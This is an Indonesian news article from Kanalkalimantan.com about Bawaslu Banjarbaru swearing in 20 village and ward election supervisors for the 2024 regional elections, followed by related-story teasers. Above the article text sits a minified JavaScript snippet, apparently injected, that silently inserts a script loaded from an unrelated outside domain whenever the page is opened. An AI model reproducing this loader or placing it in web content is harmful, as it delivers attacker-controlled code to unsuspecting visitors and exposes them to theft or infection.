(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 20 anggota Pengawas Kelurahan Desa (PKD) yang bertugas dalam Pilkada 2024 di Ibu Kota Provinsi Kalimantan Selatan (Kalsel), Minggu (2/6/2024) siang.
Acara pelantikan anggota PKD juag dilakukan pengambilan sumpah janji dan fakta integritas di Grand Qin Hotel Q Mall Banjarbaru.
Ketua Bawaslu Banjarbaru, Nor Ikhsan mengatakan, anggota PKD yang dilantik masing-masing kelurahan berjumlah satu orang, merupakan hasil seleksi yang dilaksanakan oleh Panwascam Banjarbaru.
Baca juga: Parade Hari Lahir Pancasila di Depan Balai Kota Banjarbaru
Ketua Bawaslu Kota Banjarbaru, Nor Ikhsan. Foto: wanda
“Kita melantik 20 orang sesuai dengan jumlah kelurahan di Kota Banjarbaru. Mereka sudah running, sudah siap melakukan pengawasan tahapan penjadwalan pemilihan,” kata Ketua Bawaslu Banjarbaru.
Lebih lanjut Ikhsan menjelaskan, setelah dilantik anggota PKD akan fokus untuk melaksanakan pembekalan, sebab beberapa di antaranya mereka merupakan orang baru dalam hal penyelenggaraan pemilu.
“Anggota yang baru itu dalam artian mereka ada yang sebelumnya pengawas TPS, ada juga umum dari bermacam kalangan, serta PKD lama yang kita rekrut kembali,” sebut dia.
“Kita langsung berikan pembekalan dulu untuk menghadapi kondisi di lapangan,” sambungnya.
Baca juga: Ribuan Orang Hadiri Haul Ke-13 Abah Anang Djazouly
Dalam pembekalan ini, kata Ikhsan, penting bagi PKD untuk dapat melaksanakan pengawasan dengan prinsip melakukan pencegahan sebelum melakukan penindakan.
“Kita utamakan pencegaahan, baru penindakan, dimana pencegahan itu nantinya bisa berbentuk imbauan ataupun sosialisasi,” kata Ikhsan.
Di sisi lain Akhmad Mukhlis, Anggota Bawaslu Kalsel yang turut berhadir dalam pelantikan mengingatkan, agar PKD dapat memegang teguh prinsip-prinsip yang diatur dalam undang-undang.
Terlebih anggota yang berasal dari berbagai kalangan ini, sebagai lembaga vertikal yang diatur dalam undang-undang mereka memiliki integritas dan harus memperhatikan kode etik.
Baca juga: 219 Pengawas Kelurahan Desa se Kabupaten HSU Dilantik
“Meskipun mereka berprofesi wartawan mereka tentunya akan terus menjaga kode etik sebagai pengawas dengan tidak parsial dan sebagainya, tetap mengedepankan tugas wewenang sesuai undang-undang,” ujar Akhmad Mukhlis, Anggota Bawaslu Kalsel.
Bawaslu menekankan kepada penyelenggara agar melaksanakan tugas dan fungsi dengan baik profesional memperhatikan kode etik dalam penyelenggaraan Pilkada 2024.
“Pilkada jadi kegiatan milik Kota Banjarbaru, maka menjadi perhatian khusus bagi kita semua agar kawan-kawan yang berkontestasi maupun yang mengawasi bisa melaksanakan tugas pengawasannya dengan baik,” tuntas Mukhlis. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.